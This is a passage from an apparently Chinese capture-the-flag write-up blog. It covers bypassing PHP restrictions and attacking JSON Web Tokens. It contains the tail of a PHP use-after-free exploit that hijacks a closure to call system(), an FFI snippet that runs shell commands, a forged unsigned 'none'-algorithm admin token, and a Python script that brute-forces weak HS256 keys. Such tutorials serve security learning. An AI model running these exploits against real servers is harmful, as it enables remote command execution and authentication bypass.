            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

在这里插入图片描述

FFI扩展

php>7.4,开启了FFI扩展ffi.enable=true,我们可以通过FFI来调用C中的system进而达到执行命令的目的

<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami >/tmp/1");
echo file_get_contents("/tmp/1");
@unlink("/tmp/1");
?>

FFI::cdef用于说明函数的原型,然后把参数传进去。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

JSON Web Token

敏感信息泄露

在这里插入图片描述
在这里插入图片描述
我们直接登录一手
在这里插入图片描述
JSON WEB TOKEN(缩写 JWT),服务器认证以后,生成一个 JSON 对象,发回给用户。
以后,用户与服务端通信的时候,都要发回这个 JSON 对象。
服务器完全只靠这个对象认定用户身份。
为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名。

JWT 的结构 :

  • 由三部分构成:
  • Header.Payload.Signature
  • 头部.负载.签名
JWT大概就是这种形式:
头部:eyJBRyI6IjNmMjhhYzg3NTA2M2JmMn0iLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
负载:eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJGTCI6ImN0Zmh1Yns5ODMzZTE1NzQifQ.
签名:jFf_cb3Fx3EkOwrTR4ro_a3lMAq3Rd44mfJ8Pih6DqI

它是一个很长的字符串,中间用点 .分隔成三个部分。

那么我们分开解密在这里插入图片描述
在这里插入图片描述

无签名

在这里插入图片描述
在这里插入图片描述
我们登录的时候发现了这个
在这里插入图片描述
传值发现了这个
我们解码看看
第一部分
在这里插入图片描述
第二部分
在这里插入图片描述
结合我们刚刚提醒,需要admin才可以,我们将guets改为admin
同时

从题目提示可以知道:一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证

在这里插入图片描述

JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64 有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_ 。

在这里插入图片描述
guest 改为admin 然后拼接
在这里插入图片描述
token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxIiwicm9sZSI6ImFkbWluIn0.

弱密钥

在这里插入图片描述
很明显需要我们进行爆破

我们去github项目
这里
把他安装到linux 里面去
我们先放到
https://jwt.io/
这里在线解密一下
在这里插入图片描述
我们首先下载

在这里插入图片描述
在这里插入图片描述
按照教程进行编译
进行使用,这里我环境开了两次,所以我密钥可能不同了
在这里插入图片描述
在这里插入图片描述

好了,这次是新的
安装 jwt python的
在这里插入图片描述

#!C:\Python3.7
# -*- coding:utf-8 -*-
import jwt
import string
import itertools


def test_HS256():
    key = "test"
    encoded = jwt.encode({"some": "payload"}, key, algorithm="HS256")
    print(encoded)

    try:
        # print(jwt.decode(encoded,"test",algorithms="HS256"))
        print(jwt.decode(encoded, "tes", algorithms="HS256"))
    except Exception as e:
        print(e)
        print("error")
        exit()


def brute_HS256(encode):
    keys = string.ascii_lowercase
    # print(keys)
    for i in itertools.product(keys, repeat=4):
        key = "".join(i)
        print("[--]test ", key)
        try:
            print("[****]key:", key, jwt.decode(encode, key, algorithms="HS256"))
            break
        except Exception as e:
            pass
        # print(key)


if __name__ == '__main__':
    # test_HS256()
    encode = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJwYXNzd29yZCIsInJvbGUiOiJndWVzdCJ9.xCCx-8iRz4HybhQ5iz3zHLniJ5koa7iflMALlaos6ic"
    brute_HS256(encode)
    # print(jwt.encode({'username': 'admin', 'password': 'password', 'role': 'admin'},"hqpf",algorithm="HS256"))

改成自己的密钥

在这里插入图片描述

在这里插入图片描述
成功

修改签名算法

在这里插入图片描述

linux

动态加载器

猜你喜欢

转载自blog.csdn.net/hxhxhxhxx/article/details/112759999